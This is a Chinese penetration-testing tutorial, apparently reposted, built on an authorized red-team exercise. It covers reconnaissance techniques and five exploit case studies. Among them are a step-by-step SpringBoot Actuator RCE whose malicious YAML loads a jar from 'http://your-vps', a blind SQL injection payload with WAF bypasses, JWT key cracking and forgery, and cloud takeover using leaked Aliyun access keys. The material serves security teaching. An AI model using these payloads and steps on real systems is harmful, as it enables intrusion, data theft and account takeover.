【转载】某次内部行业渗透测试&攻防演练多个系统从资产打点到RCE漏洞
字数 4960 2025-10-26 18:21:34
渗透测试与攻防演练实战教学文档
文档说明
本文档基于一次真实的、已获授权的内部行业渗透测试与攻防演练实战记录编写。旨在系统性地教学从资产信息收集到多种高危漏洞(如RCE、SQL注入、越权等)挖掘与利用的全过程。文档将遵循“方法论->工具使用->实战案例->拓展知识”的结构,确保关键知识点清晰、可复现。
重要声明: 本文档所有技术仅用于安全教学与防御能力提升,严禁用于任何未授权的测试行为。
第一章:攻防演练基础
1.1 核心概念
- 攻防演练:一种模拟真实攻击(红队)与防御(蓝队)的对抗性活动,旨在评估和提升组织的整体安全防护、监测与响应能力。
- 核心目标:发现安全短板、验证防护措施有效性、锻炼安全团队实战能力。
1.2 演练流程
- 规划与准备:明确目标、范围、规则,制定攻击与防御策略。
- 攻击模拟:红队使用各类技术(网络渗透、社会工程等)模拟攻击。
- 防御检测:蓝队通过监控系统(IDS/IPS、日志分析等)发现和响应攻击。
- 攻防对抗:红蓝双方实时对抗,红队尝试突破,蓝队尝试阻断和溯源。
- 分析与总结:演练后复盘,评估效果,输出改进计划。
1.3 关键得分项与丢分项
- 蓝队得分项:及时修复漏洞、强密码策略、合理安全配置、有效发现并响应攻击。
- 蓝队丢分项:存在已知漏洞、弱口令、配置不当、未能发现或及时阻止攻击。
第二章:核心技能 - 资产发现与信息收集
信息收集的广度与深度直接决定后续渗透测试的成败。
2.1 企业主体信息收集
- 企查查/风鸟:使用这些平台,通过公司名称查询其备案信息、子公司、关联公司、投资方等,扩大资产搜索范围。风鸟还可用于搜索关联的APP资产。
- 备案信息查询:通过工信部ICP/IP备案管理系统,获取目标公司的备案号、备案域名、APP、小程序等核心资产列表。
- 搜索引擎导出:利用“无影”等工具的聚合搜索引擎功能,使用备案号、公司名等关键词,批量搜索并导出相关域名。
2.2 子域名与IP网段发现
- 工具组合拳:
- 灯塔(ARL):将主域名提交至ARL进行自动化子域名发现、端口扫描、服务识别。
- OneForAll:强大的子域名枚举工具,与ARL结果互为补充。
- 空间引擎:使用FOFA、Shodan、ZoomEye等,通过语法
domain="target.com"或icon_hash="-xxx"搜索关联资产。
- 去重与整理:将上述工具的结果合并,去重,形成完整的子域名清单。
- IP网段发现:将收集到的IP地址导入“无影”等工具进行C段整理,并使用FOFA语法
ip="x.x.x.0/24" && is_domain=true搜索该网段下的其他存活域名。
2.3 资产打点与敏感信息探测
- 指纹识别与探活:使用“无影”的Web指纹识别功能,对收集到的资产进行批量探活和框架/组件识别(如SpringBoot, WordPress等)。
- 敏感文件泄露扫描:
- 工具:灯塔(ARL)。
- 关键技巧:自定义扫描字典。修改ARL的字典文件(如
/app/dicts/file_top_2000.txt),加入更全面、更具针对性的字典(如备份文件、配置文件、Git泄露等),大幅提升发现概率。
- Google Hacking:
- 作用:当直接访问域名无果时,使用
site:target.com语法可能发现隐藏的路径或备份站点。 - 常用语法库:
- 后台/登录口:
site:target.com intext:管理|后台|登陆|admin|login - 注入点:
site:target.com inurl:id|pid|cat= - 敏感文件:
site:target.com filetype:txt|pdf|doc|xls或ext:log|bak|conf|env - API接口:
site:target.com inurl:api|swagger - (文档中提供了非常全面的语法列表,应作为工具书保存)
- 后台/登录口:
- 作用:当直接访问域名无果时,使用
- JS文件分析:
- 工具:转子(JsRotator)等自动化JS信息提取工具。
- 流程:输入URL,工具会自动爬取JS文件,并提取其中的接口路径、敏感关键字(如
password,secret,AK/SK)、域名等,并进行漏洞分类。 - 参数:
--scan=3(扫描深度),--proxy=127.0.0.1:8080(代理到BurpSuite进行深入分析)。
第三章:实战漏洞案例剖析
案例一:XSS -> Cookie窃取 -> 未授权访问 -> SSRF/RCE 攻击链
- 漏洞发现:目标官网存在在线客服功能,输入XSS Payload(如``)测试,成功弹窗,证明存在存储型XSS。
- 漏洞利用:
- 构造窃取Cookie的Payload:``。
- 诱使客服(或管理员)查看消息,获取其会话Cookie。
- 权限提升:使用窃取的Cookie替换浏览器中的当前Cookie,刷新页面,成功以
admin身份登录后台系统,实现未授权访问。 - 横向渗透:
- 在后台发现“图标管理”等功能点,尝试SSRF。插入DNSLog地址(如
http://xxx.dnslog.cn),提交后DNSLog有回显,证实存在SSRF。 - 发现另一后台登录口,使用弱口令
admin:Admin123进入。
- 在后台发现“图标管理”等功能点,尝试SSRF。插入DNSLog地址(如
- 命令执行(RCE):
- 在新后台发现
cmd参数,值经过Base64编码。解码后发现是系统命令(如cat /etc/passwd)。 - 利用:将需要执行的命令(如
whoami)进行Base64编码,替换cmd参数的值,成功实现命令执行,获取服务器权限。
- 在新后台发现
案例二:SpringBoot Actuator未授权RCE
- 环境与漏洞识别:
- 目标为SpringBoot应用。访问
/env或/actuator/env有数据返回,说明Actuator端点未授权访问。 - Spring 1.x 访问
/env;Spring 2.x 访问/actuator/env。
- 目标为SpringBoot应用。访问
- 漏洞利用原理:利用
spring.cloud.bootstrap.location属性从远程加载恶意YAML配置文件,触发SPI机制执行恶意代码。 - 利用步骤:
- Step 1:设置恶意配置地址
- 请求:
POST /env(Spring 1.x) - 头:
Content-Type: application/x-www-form-urlencoded - 体:
spring.cloud.bootstrap.location=http://your-vps/exp.yml
- 请求:
- Step 2:刷新配置
- 请求:
POST /refresh(Spring 1.x) - 此时服务器会去请求
exp.yml。
- 请求:
- Step 3:制作恶意YAML与JAR
- exp.yml内容:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://your-vps/yaml-payload.jar"] ]] ] - yaml-payload.jar:需要提前编译好包含恶意代码的JAR包(例如,代码中包含
Runtime.getRuntime().exec("calc")用于弹计算器)。
- exp.yml内容:
- Step 4:执行RCE
- 在VPS上托管
exp.yml和yaml-payload.jar。 - 完成Step 1 & 2后,服务器会加载JAR并执行其中代码,完成RCE。
- 在VPS上托管
- Step 1:设置恶意配置地址
案例三:阿里云AccessKey泄露与云资产接管
- 信息泄露:通过“转子”等JS分析工具,在JS文件中发现硬编码的阿里云AccessKey (AK/SK)。
- 特征识别:
- 阿里云AK:以
LTAI开头,后跟16-24位字母数字。 - 腾讯云AK:以
AKID开头。
- 阿里云AK:以
- 云资产接管:
- 工具:使用“行云管家”或阿里云官方CLI、OSS浏览器等工具。
- 操作:使用泄露的AK/SK登录这些工具,即可直接列出、下载、管理目标公司的OSS存储桶、ECS实例等云资源,导致敏感数据泄露。
- 权限提升:如果AK权限足够高(如
AdministratorAccess),可通过Cloud Foundation (CF) 等工具进行权限维持和提升,完全接管云上资产。
案例四:前台SQL注入
- 漏洞探测:发现参数
cid存在注入。使用1/1(正常)和1/0(报错或异常)进行布尔盲注判断。 - Payload构造:
- 判断数据库名长度:
/student_list.php?cid=2/if((length(database()))>7,1,0) - 如果
>7正常,>8异常,则说明数据库名长度为8。
- 判断数据库名长度:
- WAF绕过技巧:使用等价函数/符号替换关键字。
database()->schema()@@version->version()user()->system_user(),session_user()
案例五:JWT设计缺陷导致越权
- 目标获取:通过天眼查、微信公众号、小程序入口找到目标应用。
- 漏洞发现:抓取小程序数据包,发现通信使用JWT令牌。
- 漏洞利用:
- 步骤1:分析:在 jwt.io 解码JWT,分析其Payload结构(如含
userId,username,role等字段)。 - 步骤2:爆破:使用
jwt_tool或自定义脚本,对JWT签名密钥进行爆破,成功爆出弱密钥123456。 - 步骤3:伪造:使用已知密钥,伪造任意用户的JWT令牌(如修改
userId和username为其他用户手机号,并延长exp过期时间)。 - 步骤4:越权:在登录请求中替换为伪造的Token,即可未授权登录任意用户账户。
- 步骤1:分析:在 jwt.io 解码JWT,分析其Payload结构(如含
第四章:拓展知识 - 隐私合规漏洞
隐私合规漏洞是SRC和监管机构关注的重点,源于国家法律法规。
4.1 核心违规点
- 未明示同意:App首次启动时,未以明显方式提示用户阅读隐私政策,或默认勾选同意。
- 强制索权:用户拒绝提供非必要信息或权限后,App直接退出或无法使用核心功能。
- 无注销功能:提供注册服务,但不提供账号注销通道,或注销条件过于苛刻。
- 超范围收集:收集与当前业务功能无关的个人信息(如读书App索要精准定位)。
- 频繁骚扰:用户拒绝授权后,在48小时内再次频繁弹窗索要权限。
- 数据未删除:用户注销账号后,未按要求删除其个人信息。
- 政治性问题:地区选择中,将台湾、香港、澳门与中国并列。
4.2 参考法规
- 《中华人民共和国个人信息保护法》
- 《App违法违规收集使用个人信息行为认定方法》
- 《常见类型移动互联网应用程序必要个人信息范围规定》
第五章:总结与工具列表
5.1 流程总结
成功的渗透测试遵循:信息收集 -> 资产梳理与打点 -> 漏洞探测与验证 -> 漏洞利用与横向移动 -> 权限维持与数据获取 的闭环流程。每个环节的细致程度都至关重要。
5.2 工具列表汇总
| 类别 | 工具名称 | 用途 |
|---|---|---|
| 信息收集 | 爱企查、风鸟 | 企业主体信息查询 |
| ICP备案查询 | 获取备案域名 | |
| 无影 | 聚合搜索引擎、资产整理 | |
| ENScan | 自动化收集企业网络资产 | |
| 子域名发现 | 灯塔(ARL) | 自动化资产发现与敏感文件扫描 |
| OneForAll | 子域名枚举 | |
| FOFA/Shodan | 空间引擎测绘 | |
| 漏洞探测 | Burp Suite | 代理、抓包、重放、扫描 |
| 转子(JsRotator) | JS文件自动化分析 | |
| JWT.io, jwt_tool | JWT解码、伪造与爆破 | |
| 专项利用 | 行云管家、OSS Browser | 云AK/SK泄露利用与接管 |
| 自定义脚本 | SpringBoot RCE、SQL注入等 |
文档结束
希望这份详尽的教学文档能对您的学习有所帮助。请务必在合法合规的环境下使用这些知识。